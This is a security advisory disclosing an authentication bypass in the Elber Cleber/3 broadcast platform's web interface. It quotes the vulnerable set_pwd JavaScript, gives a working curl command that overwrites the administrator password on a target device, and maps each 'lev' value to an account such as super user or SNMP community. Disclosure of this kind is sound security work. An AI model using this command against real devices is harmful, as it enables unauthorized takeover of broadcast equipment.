Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Authentication Bypass  
Vendor: Elber S.r.l.  
Product web page:  
Affected version: 1.0.0 Revision 7304  
1.0.0 Revision 7284  
1.0.0 Revision 6505  
1.0.0 Revision 6332  
1.0.0 Revision 6258  
XS2DAB v1.50 rev 6267  
Summary: Cleber offers a powerful, flexible and modular hardware and  
software platform for broadcasting and contribution networks where  
customers can install up to six boards with no limitations in terms  
of position or number. Based on a Linux embedded OS, it detects the  
presence of the boards and shows the related control interface to the  
user, either through web GUI and Touchscreen TFT display. Power supply  
can be single (AC and/or DC) or dual (hot swappable for redundancy);  
customer may chose between two ranges for DC sources, that is 22-65  
or 10-36 Vdc for site or DSNG applications.  
Desc: The device suffers from an authentication bypass vulnerability through  
a direct and unauthorized access to the password management functionality. The  
issue allows attackers to bypass authentication by manipulating the set_pwd  
endpoint that enables them to overwrite the password of any user within the  
system. This grants unauthorized and administrative access to protected areas  
of the application compromising the device's system security.  
50: function apply_pwd(level, pwd)  
51: {  
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},  
53: function(data){  
54: //$.alert({title:'Operation',text:data});  
55: show_message(data);  
56: }).fail(function(error){  
57: show_message('Error ' + error.status, 'error');  
58: });  
59: }  
Tested on: NBFM Controller  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2024-5816  
Advisory URL:  
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234  
Ref (lev param):  
Level 7 = SNMP Write Community (snmp_write_pwd)  
Level 6 = SNMP Read Community (snmp_read_pwd)  
Level 5 = Custom Password? hidden. (custom_pwd)  
Level 4 = Display Password (display_pwd)?  
Level 2 = Administrator Password (admin_pwd)  
Level 1 = Super User Password (puser_pwd)  
Level 0 = User Password (user_pwd)